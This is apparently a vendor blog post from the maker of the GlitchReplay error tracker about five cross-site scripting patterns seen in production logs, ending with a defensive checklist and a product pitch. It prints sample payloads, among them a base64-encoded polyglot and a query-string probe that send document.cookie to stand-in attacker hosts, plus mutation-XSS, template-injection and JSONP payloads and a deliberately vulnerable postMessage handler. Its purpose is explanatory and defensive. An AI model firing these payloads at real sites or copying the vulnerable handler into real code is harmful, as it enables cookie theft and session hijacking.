XSS attempts in the wild: 5 patterns we see weekly

The actual payloads landing on production today: query-string injections, CSP-bypass tricks, and the new wave of mutation-XSS.

·
securityxss

Your error tracker just spiked with 500 "Uncaught SyntaxError" events in the last ten minutes. You click into the stack trace, expecting a regression from this morning's deploy, and instead you find a URL that contains a 2,000-character string of hex-encoded gibberish. This isn't a bug in your frontend. It's an automated scanner methodically probing every parameter on your site for a "polyglot" injection point. In this post we're looking at the five XSS patterns we see hitting production apps every single week, and how to tell the difference between scanner noise and the mutation-XSS that will actually ruin your week.

The Shift from Script Tags to Obfuscated Polyglots

If your mental model of cross-site scripting is still <script>alert(1)</script>, your mental model is about a decade out of date. Modern WAFs, framework auto-escaping (React and Next.js JSX, Vue templates), and default Content Security Policies have made the naive script tag almost useless against any app built in the last five years. Attackers know this. So the payloads landing in your logs today aren't trying to pop an alert box. They're trying to find any place where user input is reflected back into the page in a way the browser will execute.

Why automated scanners prefer "silent" payloads over alert()

An alert(1) is a developer's proof-of-concept. It's loud and obvious, which is exactly why real attackers avoid it. A scanner running across ten thousand targets doesn't want to interrupt anyone; it wants to confirm code execution silently and exfiltrate something useful. So the modern payload does two things at once: it confirms the injection point worked, and it phones home. The classic shape is an onerror or onload handler that base64-decodes a fetch to an attacker-controlled domain, carrying document.cookie in the query string.

The anatomy of a 2026 polyglot payload

A polyglot is a single string crafted to break out of multiple contexts at once: HTML body, an attribute value, a JavaScript string literal. The attacker doesn't know whether your code dropped their input into an href, a title attribute, or an inline script, so they ship something that works in all of them. Here is a representative example of what shows up in URL parameters and form fields:

'"`--><svg/onload=eval(atob('ZmV0Y2goJ2h0dHBzOi8vYXR0YWNrZXIuZXhhbXBsZS9sb2c/Yz0nK2RvY3VtZW50LmNvb2tpZSk='))>

The leading '"` closes out a string literal in three different quoting styles. The --> closes an HTML comment in case the input landed inside one. The <svg/onload=> is the actual execution vector, because svg elements fire onload immediately and the slash works as a valid tag-name separator. The base64 blob decodes to a fetch that ships your cookies off-site. When this lands in a context the browser parses, you get a JavaScript error in your tracker; when it doesn't, you still get the SyntaxError from the malformed reflection. Either way, it shows up in your dashboard.

Pattern 1: The Persistent Query-String Probe

This is the single most common source of "security" noise in any public-facing error tracker. Automated tools fuzz every URL parameter they can find, looking for a reflection point where input is echoed back into the response without escaping.

Automated parameter discovery

Tools in the ARJUN family don't guess randomly. They pull parameter names from wordlists harvested across millions of real apps: redirect_url, return_to, next, callback, q, search, utm_source, ref. Then they spray each one with encoded payloads and watch the response. A typical hit in your logs looks like a request to a perfectly normal page with a parameter like this:

/dashboard?redirect_url=javascript:fetch('//x.example/'+document.cookie)
/search?q=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
/?utm_source=data:text/html,<script>alert(document.domain)</script>

Tracking "reflected" errors

Here's the trap: each probe is a distinct URL, so a naive error tracker treats every one as a unique issue. Ten thousand scanner requests become ten thousand "new" issues, and your real bug from this morning is buried somewhere on page 40. The fix is fingerprinting. You want to group by the shape of the error and the route, not by the exact reflected payload. See our writeup on error fingerprinting and deduplication for how to collapse a flood of scanner hits into a single manageable issue you can mute or watch.

Pattern 2: CSP Bypass via Trusted CDNs

Content Security Policy is one of the best defenses you have, right up until you whitelist a domain that happens to host its own execution gadgets. A CSP is only as strong as the most permissive thing on its allowlist.

Using popular CDNs to bypass strict CSPs

Consider a policy that looks perfectly reasonable:

Content-Security-Policy: script-src 'self' https://ajax.googleapis.com https://unpkg.com;

This blocks inline scripts and arbitrary domains, which feels safe. But ajax.googleapis.com hosts old versions of AngularJS, and unpkg.com serves every version of every package on npm. An attacker who can inject a single <script src> tag pointed at an old Angular build can then drop an Angular template expression elsewhere on the page and get full code execution, entirely within your allowlist. The CSP did its job perfectly and still let the attacker in.

The risk of JSONP callbacks in whitelisted domains

JSONP endpoints on trusted domains are even worse, because they hand you arbitrary script execution by design. A whitelisted API that accepts ?callback= lets an attacker write <script src="https://trusted.example/api?callback=alert(1)//"> and the response is literally alert(1)//(...) served from your trusted origin. The lesson: a CSP allowlist of full domains is a liability. Move to nonce-based or hash-based strict CSP, which we'll cover in the checklist. You can sanity-check your own headers with our security headers checker.

Pattern 3: Mutation XSS and the DOMPurify Arms Race

This is the most dangerous pattern on the list, because it sails straight past server-side sanitizers. Mutation XSS (mXSS) exploits the gap between how your sanitizer parses HTML and how the browser re-parses it after you assign it to innerHTML.

How innerHTML changes the payload structure

When you sanitize a string and it looks clean, then assign it to innerHTML, the browser doesn't store the bytes you gave it. It parses them into a DOM tree, then serializes that tree back out, and the serialization can differ from the input. A payload that contained no executable construct when the sanitizer inspected it can become executable once the browser's parser "fixes" the malformed HTML. The sanitizer and the browser disagree about what the string means, and the browser always wins.

Recent bypasses in popular sanitization libraries

The historical mXSS bypasses cluster around tags with unusual parsing rules: <noscript>, <template>, <math>, and SVG/foreignObject namespaces. The general shape looks harmless to a sanitizer that treats the content as inert text:

<noscript><p title="</noscript><img src=x onerror=alert(1)>">

Depending on whether scripting is enabled, the browser parses the boundary of the <noscript> differently than the sanitizer did, and the <img onerror> escapes containment. The defense isn't "pick a better sanitizer" — it's to keep DOMPurify pinned to the latest version (the maintainers patch these aggressively), and more importantly to adopt Trusted Types so the browser refuses raw innerHTML sinks entirely.

Pattern 4: DOM-based XSS via postMessage

As apps decompose into iframes, embedded widgets, and cross-window integrations, postMessage has become a massive blind spot. The vulnerability is almost always the same: a message listener that trusts data without checking where it came from.

Listening to messages without origin validation

Here is the canonical vulnerable handler, and it is genuinely everywhere:

window.addEventListener('message', (event) => {
  // No origin check — anyone can send this message.
  document.getElementById('widget').innerHTML = event.data.html;
});

Any page that can open or embed yours can now call frame.postMessage() with arbitrary HTML and own your DOM. The fix is two lines: validate event.origin against an explicit allowlist, and never feed message data into an HTML sink. Treat every inbound message as hostile until the origin proves otherwise.

Injecting payloads through third-party iframe integrations

The subtle version of this bug shows up when you integrate a third-party widget — a chat box, an analytics embed, a payment frame — and copy their suggested listener code without the origin check. The widget vendor's domain is trusted, but a wildcard listener trusts everyone. These bugs are hard to catch in code review because the dangerous line looks like boilerplate.

Pattern 5: Client-Side Template Injection

You don't have to be running AngularJS to be vulnerable to template injection. Plenty of modern libraries — Vue, Alpine.js, and various lightweight reactive frameworks — evaluate expressions inside delimiters, and if user input reaches a template before compilation, an attacker can hijack the evaluator.

Escaping the sandbox

The classic CSTI payload abuses the JavaScript constructor chain to reach Function from inside a sandboxed expression context:

{{constructor.constructor('alert(1)')()}}

If your framework compiles a region of the DOM that contains attacker-controlled text, that expression executes. The defense is to never render user input as a template — render it as data. In Vue, that means binding to text content, never v-html, and never letting user strings define the template region.

Why these show up as "Identifier expected" errors in logs

Most CSTI probes fail, and when they fail they throw parser errors — "Unexpected token," "Identifier expected," "Invalid left-hand side." That's actually useful signal. A sudden cluster of expression-parser errors on a route that renders user content is a strong hint that something is probing your template layer. The successful injection is silent; the thousand failed attempts before it are loud, and they're sitting in your error tracker right now.

From Detection to Forensics: Using Session Replay

Standard error logs tell you what hit the server. They don't tell you how the page got into the state that triggered the error. For security forensics, that gap is the whole game. Was the payload pasted into a form field? Did it arrive in the URL? Did a malicious iframe post a message? A stack trace can't answer that. A session replay can.

Visualizing the injection point

When an exception fires on a page that handles user input, replaying the seconds before the error shows you the exact interaction: the paste event, the form submission, the navigation with the poisoned query string. You stop guessing about the attack vector and start watching it.

Identifying bot behavior vs. manual exploitation

Replays make the human-versus-bot distinction obvious. Scanners fire hundreds of requests with no mouse movement, no scroll, identical timing. A human attacker pokes around, opens dev tools, edits a field by hand. When you can see the session, you can triage in seconds: noise to mute, or a targeted attack to escalate.

Masking PII while preserving security signals

The obvious objection to recording sessions on security-sensitive pages is privacy. You can have both. Mask form inputs and sensitive text by default while still capturing the DOM structure, the events, and the payloads that matter for forensics. Our guide on masking PII in session replay walks through configuring this so your security logs stay clean and compliant.

Defensive Checklist for 2026

Pulling it together, here is how to harden an app beyond the framework defaults:

  • Implement Trusted Types. This makes the browser reject raw assignments to dangerous sinks like innerHTML, killing entire classes of DOM-based and mutation XSS at the source.
  • Move to a strict, nonce-based CSP. Drop domain allowlists in favor of per-request nonces or hashes. This neutralizes the trusted-CDN and JSONP bypasses entirely. Read more on monitoring these in our post on CSP violation reports explained.
  • Validate every postMessage origin. Never feed message data into an HTML sink, and always check event.origin against an explicit allowlist.
  • Never render user input as a template. Bind it as text. Keep your sanitizer pinned to the latest version.
  • Alert on security-error groups. Set up real-time alerts for CSP-violation reports and parser-error spikes on input-handling routes, with sane sample-size thresholds so you aren't paged for one scanner.

The hard part of XSS in 2026 isn't writing a payload — it's seeing which of the thousands of daily probes actually landed, on which user, in which context. That's a visibility problem. GlitchReplay captures a full session replay alongside every exception, so when a security error fires you can watch exactly how it happened, mask the PII you need to mask, and group the scanner noise away from the real threats. And because pricing is flat-rate, you don't have to choose which security signals you can afford to keep — capture all of them. If your error tracker is currently a wall of hex-encoded gibberish you can't make sense of, give GlitchReplay a try.

Stop watching your error bill spike.

GlitchReplay is Sentry-SDK compatible, includes session replay and security signals, and never charges per event. Free to start, five minutes to first event.